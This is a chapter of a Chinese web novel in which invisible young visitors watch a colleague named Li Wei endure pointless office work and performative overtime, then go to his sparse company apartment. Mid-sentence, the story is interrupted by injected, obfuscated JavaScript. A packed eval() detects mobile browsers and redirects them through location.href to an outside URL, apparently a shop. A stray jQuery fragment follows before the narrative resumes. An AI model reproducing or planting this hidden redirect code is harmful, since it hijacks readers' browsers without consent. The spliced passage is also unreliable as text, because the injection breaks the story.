赵晗悦看他坐下来，一时半会儿没反应过来，隔了几秒才突兀地瞪大眼睛，“这是你的工位？”
“嗯，我原来就坐在这儿，后来大家没再招人，我就还坐在这儿。”
“我还以为你是部门领导！”赵晗悦不敢置信地叫起来。
“怎么可能啊，我也才刚毕业啊。”李伟笑道，“我们这种普通人，怎么可能一毕业就做管理层，连实习生的位置都要抢得头破血流。”
赵晗悦啊了一声，人有点扁扁的。显然这种事离她还太远，有点无法想象。
她转头冲姜牧雨努了努嘴，无声问道：那他干嘛还这么爱上班？
姜牧雨摇摇头，示意自己也不知道。
而显然更无法想象的事还在后面，接下来几人挤在办公室里，看着李伟熟练地打开电脑，整理文件。
李伟还在工作群组里，虽然工作群里的其他人意识不到李伟的存在。李伟从公共云盘里拉出表格，更新后提交。接着是合同，做好后提交。然后是一些有修改意见的文件，修改后提交。
他看着没做什么事，但又效率很高地做了很多事，忙了一通一个上午就过去了。此时几个人已经从新鲜好奇转到了百无聊赖，正聚在一起说小话。
孙行知打着哈欠说，不知道为什么这个办公室的氛围格外助眠，简直和自习室或者教室一模一样，他们应该明天把书带来学习，倒是正好。
啊？赵晗悦脸都皱巴了，明天还来啊？
常元磊已经把脸埋进胳膊了，他现在最佩服的人就是李伟了，能在这个地方坚持这么久，还是一个人，换他他要无聊死了。
正说着，李伟抱着电脑站了起来。还以为是要去吃饭了，几个人也连忙站了起来，谁承想李伟不好意思地笑，“我要开个会，估计要点时间，你们先去吃饭吧。”
“不是，”赵晗悦目瞪口呆，“谁家大好人到饭点了开始开会啊！”
常元磊也有点无语了，“他们开会，跟你有什么关系啊，咱们吃咱们的呗。”
李伟一时间表情有点怪，好像想说什么，最后只说，“都习惯了。”
他这么说，大家也没办法，饿都要饿死了，赶紧出门找饭吃去。
等他们吃饱喝足，慢悠悠走回来，惊讶地发现李伟居然还在开会。
会议室是那种透明的玻璃门和墙，所以能清晰地看见房间内的所有人。李伟正佝偻着身子，聚精会神地盯着电脑，常元磊眼尖地看到有人正在玩扫雷。
午休时间结束后不久，会议也结束了。李伟抱着电脑出来，对着电脑发了一会儿呆。孙行知问他，“你不吃饭吗？”
李伟这才回过神来，“没事的，茶水间有泡面，我等会儿去吃一点就好。”
他说完，又重新操作起了鼠标，开始修改一份PPT。显示屏那么大，想看不到都难，几人就看着他从标题页改起。字体变大变小，横着竖着调整位置，位置调完调字体，字体调完调颜色，颜色调完调阴影。
“这到底有什么意义？”赵晗悦问同伴。
“不知道，”常元磊又开始打哈欠，“看得我好困。”
下午比上午更难熬，李伟几乎没停歇地改了一下午的PPT。常元磊几乎睡了一下午，姜牧雨在旁边翻着公司网站和宣传手册，孙行知在玩手机，赵晗悦无聊得好像条没遛透的狗，到处转着看办公室里的其他人。
其他人干得也差不多，有做方案的，有打电话看似洽谈商务，实则在闲聊的，还有来回转椅子使劲喝水的。总之都是一些看上去很忙，干的活很重要，其实仔细一看不知道在干嘛的。
到最后，连玩手机都有点玩厌了。读着秒硬等，顺便将李伟的工作列入到“将来绝对不做的工作TOP 1”后，终于等到了下班时间。
一到点，几个人就跟田垄上的狐獴一样，一个接一个地立了起来。李伟被他们突然的动静吓了一跳，反应过来是到时间了，才起身准备关机。
“你下班也太不积极了吧，”赵晗悦嘟囔道，“这是怎么坚持得住的。”
“现在已经好多了，因为大家看不见我，所以就不用加班了。”李伟一边收拾一边解释。
“怎么，你加班还是加班给别人看的吗？”赵晗悦问。
李伟笑了，示意她看办公室里的其他人。其他人也注意到了时间，明明到了下班的点，却没一个起身的，反倒开始伸懒腰活动身体，一副摩拳擦掌的架势。
伸懒腰的那个姓朱，伸完懒腰又开始捶肩揉背，好一副辛苦模样。部门副经理见了，笑着调侃，“哟，朱哥，今天这么辛苦，又加班啊？”
朱哥神色恹恹的，“是啊，还有两个方案要改呢，没招，都不省心啊。”
“不是，”赵晗悦指着朱哥，“他下午一直都在跟人打电话唠嗑啊，我在旁边听着呢，一句正事都没说过，怎么现在突然开始辛苦改方案了？”
常元磊此时已经看明白了，有点厌烦，“是你们部门经理是个官僚主义的脑残，还是因为你们公司有加班费？”
李伟有点惊讶地看了他一眼，答道，“都有，副经理会跟经理汇报，谁下班准点走，没加班，经理对你的印象会变差。大家都在加班，你怎么好意思提前走呢？证明平时工作都是前辈们在做，你完全不上心呀。”
怎么能这么说呢？赵晗悦脸上写满了不理解。这是什么歪理邪说？
“而且过了晚上八点，除了加班费，还会有晚餐补和交通补。”
“所以仅仅为了这一点补助，就硬熬到八点以后？”赵晗悦大不理解，“早点回家不好吗？还可以做更多有意义的事呢，属于自己的时间不值那几十块钱吗？”
在她们身旁，闲聊声始终没停，副经理拿起一沓文件，扔到李伟的桌面上，继续问朱哥，“那你小孩呢？”
“有老婆管着呢，跟我有什么关系。你以为我在这儿干嘛，要是回去了，活不就都成我的了。”朱哥满不在乎地答道。
他这话一出，几个人悉数色变。常元磊本来都要走出门了，听见这话，几步冲回来，一脚踹在那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316962|198964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朱哥的胸口，一声闷响后，朱哥直挺挺地倒了下去。
其他人吃惊地看着常元磊，他理直气壮地说，“又没把他怎么样。”
这话也不算错，因为朱哥感觉不到几人的存在，被这么当胸一脚踹了，也只是没事人一样慢慢坐起来。
他脸上还挂着那令人嫌恶的微笑，什么事都没发生似的，转头继续自然和副经理搭话，“你家的呢？”
“一样一样。”副经理笑着说。
不用多说，赵晗悦立刻转身，也是一脚飞踢。踹完之后她有点心虚，拍拍手臂，“那什么……我有点饿了，还不吃饭吗？”
大家先后离开了办公室，最后一个是孙行知。在快出门的时候，他忽然一把拉住了李伟的胳膊。
李伟脚步一停，不明所以地看他。孙行知压低了声音，“你很喜欢这些人吗？”
李伟一愣，下意识微微摇头。孙行知加重了手上的力道，很认真地问道，“那你为什么还要待在这里？”
李伟张了张嘴，声音细如蚊呐，“可能是因为我什么都不会吧。”
他前面的姜牧雨转过头来，她没听清两人说了什么，用眼神询问。李伟把自己的手抽了出来，笑着对她说，“没什么，只是问要不要来我家吃晚饭？”
这个点下班，根本没人想回家做饭、等待、吃完后收拾碗筷。几个人欣然同意，一起在附近饭店打包了食物，然后去李伟家吃。
李伟住的公寓在上次见面时的火锅店后面，不在市中心，但也不算远。缺点是公交有点不方便，地铁站离老远，但是公司早晚有免费班车去地铁站，骑车也可以。
整体算下来，通勤时间也还好。饶是如此，到公寓楼下的时候，几个人也饿得前胸贴后背了。
“怎么明明我一天什么都没干，却好像干了一整天啊，又困又饿，这对吗？”赵晗悦抱怨道。
常元磊也肉眼可见地焦躁起来，但他勉强忍住了，起码忍到了李伟的公寓。
因为是公司分配的房子，公寓很是简陋，地方也小。李伟住的是双人间，他室友还在公司加班，没回来。房子大小勉强够两个人饮食起居，多几个人一进来就显得拥挤。
房间倒是很干净，不如说是有点太干净了。厨房的使用频率绝对很低，电磁炉灶上一尘不染的。其余地方也只配备了简单的家具，一张餐桌两把椅子，几人一进来，连椅子都不够坐。
李伟房间里也差不多，一张单人床，一个衣柜，一个床头柜兼储物柜，一张窄窄的书桌和廉价座椅。有些杂物被堆在了柜子上，但也不显得凌乱。
总之是一只手就能数得过来的摆设，一眼就能看个全。不像平时贸然拜访，房间主人得慌慌张张把东西都塞进柜子，李伟根本没什么遮掩的必要。
他拖出房间里的椅子，拼拼凑凑，还是坐不下。尴尬得直挠头，只好请大家再忍耐几分钟，他去小区外面的咖啡馆搬两张椅子回来。
担心他一个人搬着吃力，孙行知跟着去帮忙了，于是赵晗悦也跟着凑热闹。